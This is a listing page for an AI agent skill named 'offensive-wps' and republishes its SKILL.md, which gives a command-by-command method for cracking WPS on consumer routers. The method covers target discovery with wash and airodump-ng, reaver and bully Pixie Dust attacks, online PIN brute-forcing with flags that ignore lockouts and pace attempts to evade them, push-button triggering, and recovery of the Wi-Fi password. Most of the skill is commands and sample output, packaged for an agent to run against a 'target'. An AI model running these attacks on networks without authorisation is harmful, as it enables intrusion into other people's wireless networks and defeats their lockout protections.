Offensive Wps

What it does

When your agent uses it

• A target SOHO router exposes WPS — common on consumer ISP gear
• Often left enabled by default even when WPS attacks have been known for over a decade

Example prompts

• “/offensive-wps”

Workflow steps

4 steps, taken from the first numbered list in SKILL.md.

1. 1Detect WPS-enabled APs (look for the WPS IE in beacons)
2. 2Try Pixie Dust first — offline, undetectable, instantaneous when it works
3. 3If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
4. 4Online brute as last resort, slow and detectable

What it can do on your machine

Read from SKILL.md and the folder at commit 739512a. It shows what the files ask for, not the result of running them.

• Tool permissions

  Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

  From allowed-tools in the SKILL.md frontmatter.

• Runs code

  No scripts in the folder and no shell commands in SKILL.md (its code samples are bash).

  From the folder's file list and the shell code blocks in SKILL.md.

• Network

  Links to these hosts (documentation or services it may open):

  • github.com

  From URLs in SKILL.md, links to its own repository left out.

• Credentials

  Names no API keys, tokens, secrets or passwords.

  From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Offensive Wps loads about 1.5k tokens when it runs. Until then it costs about 117 tokens; SKILL.md has 521 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it

~117

When it runs · the whole SKILL.md, loaded when a task matches

~1.5k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

• NoteRuns commands with sudoSKILL.md:23

  sudo wash -i wlan0mon

• NoteRuns commands with sudoSKILL.md:26

  sudo airodump-ng wlan0mon --wps

• NoteRuns commands with sudoSKILL.md:39

  sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

• NoteRuns commands with sudoSKILL.md:42

  sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

• NoteRuns commands with sudoSKILL.md:69

  sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \

• NoteRuns commands with sudoSKILL.md:109

  sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

• NoteRuns commands with sudoSKILL.md:139

  sudo airmon-ng check kill && sudo airmon-ng start wlan0

• NoteRuns commands with sudoSKILL.md:142

  sudo wash -i wlan0mon

• NoteRuns commands with sudoSKILL.md:145

  sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv

• NoteRuns commands with sudoSKILL.md:151

  sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from SnailSploit/Claude-Red at commit 739512a, republished under its MIT licence (© SnailSploit). 521 words, ~1,458 tokens.

name

offensive-wps

description

WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver/bully, lockout handling, time-of-day evasion, WPS push-button vulnerability windows, and PIN-to-PSK derivation. Use when a target SOHO router exposes WPS — common on consumer ISP gear, often left enabled by default even when WPS attacks have been known for over a decade.

# wash — dedicated WPS scanner
sudo wash -i wlan0mon

# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps

# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi

# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
  -L -N -d 15 -t 30 -T .5 -r 3:30 -vv

# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts

# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0

# 2. Find WPS APs
sudo wash -i wlan0mon

# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv

# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10

# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv

# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)

© SnailSploit, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in Skills/wireless/offensive-wps of SnailSploit/Claude-Red.

Open the folder on GitHubat commit 739512a